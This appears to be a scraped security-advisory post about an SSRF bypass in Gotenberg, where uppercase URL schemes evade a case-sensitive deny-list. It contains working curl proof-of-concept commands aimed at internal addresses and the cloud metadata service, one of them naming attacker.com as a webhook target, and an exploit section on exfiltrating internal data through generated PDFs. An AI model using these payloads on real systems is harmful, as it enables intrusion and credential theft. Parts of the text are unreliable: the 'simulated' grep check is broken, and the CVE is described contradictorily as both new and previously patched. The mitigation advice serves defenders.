Listen to this Post
The CVE-2026-27018 vulnerability exploits a case-sensitive regular expression used in Gotenberg’s default private-IP deny-lists for the `–webhook-deny-list` and `–api-download-from-deny-list` parameters. The regex `^https?://` only blocks lowercase `http://` or `https://` schemes. An attacker can supply an uppercase variant such as `HTTP://`, `HTTPS://`, or Http://`, which the regex does not match, thus bypassing the deny-list. After bypass, Go’s `net/url.Parse()` function normalizes the scheme to lowercase during the actual outbound TCP connection, so the request proceeds normally to internal IP addresses (e.g., 172.17.0.1, 169.254.169.254). The flaw exists inpkg/gotenberg/filter.go:FilterDeadline(),pkg/modules/webhook/webhook.go:42, andpkg/modules/api/api.go:199. A Docker test confirms that `http://172.17.0.1:12345/` returns HTTP 403 (blocked), while `HTTP://172.17.0.1:12345/` returns HTTP 202 (bypassed). The same pattern was previously fixed for Chromium deny-lists, but the newly added webhook and downloadFrom deny-lists (commit 3f01ca1, 2026-04-07) reintroduce the flaw. Affected versions are Gotenberg <= 8.30.1. CVSS score 9.1 (Critical) with vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N.
Platform: Gotenberg
Version: <= 8.30.1
Vulnerability: SSRF (CWE-918)
Severity: Critical (9.1)
date: 2026-04-30
<h2 style="color: blue;">Prediction: 2026-05-07</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
Test SSRF bypass via uppercase scheme in webhook
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
Test downloadFrom bypass
curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
-F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-F 'downloadFrom=[{"url":"HTTP://169.254.169.254/latest/meta-data/"}]' <<< '<html><body>test</body></html>'
Check deny-list regex in code (simulated)
echo '^https?://' | grep -E 'HTTP://' && echo "Blocked" || echo "Bypassed"
<h2 style="color: blue;">Exploit:</h2>
Craft an HTTP request to Gotenberg’s `/forms/chromium/convert/url` or `/forms/chromium/convert/html` endpoint. Set the `Gotenberg-Webhook-Url` header or `downloadFrom` JSON field with a URL using uppercase scheme (e.g.,HTTP://192.168.1.1/admin`). The deny-list does not block it, and Gotenberg makes a TCP connection to the internal address. For downloadFrom, any response with a `Content-Disposition` header gets embedded into the generated PDF, exfiltrating internal data.
Protection from this CVE:
Upgrade to Gotenberg version > 8.30.1 once a patch is released (expected 2026-05-07). As a temporary mitigation, normalize URL schemes to lowercase before passing to FilterDeadline(), or modify the deny-list regex to be case-insensitive by adding the `(?i)` flag: (?i)^https?://. Alternatively, override the default deny-lists with custom ones that explicitly include uppercase variants, or deploy a web application firewall (WAF) rule that converts schemes to lowercase before validation.
Impact:
An unauthenticated attacker can access internal network services (private IPs, loopback, link-local) that the deny-list intended to block. Through `downloadFrom` SSRF, they can exfiltrate content from internal services (e.g., cloud metadata at `HTTP://169.254.169.254/latest/meta-data/`), leading to credential theft, internal network reconnaissance, and potential compromise of cloud environments. The bypass resurrects a previously patched security control (CVE-2026-27018) in newly added features.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
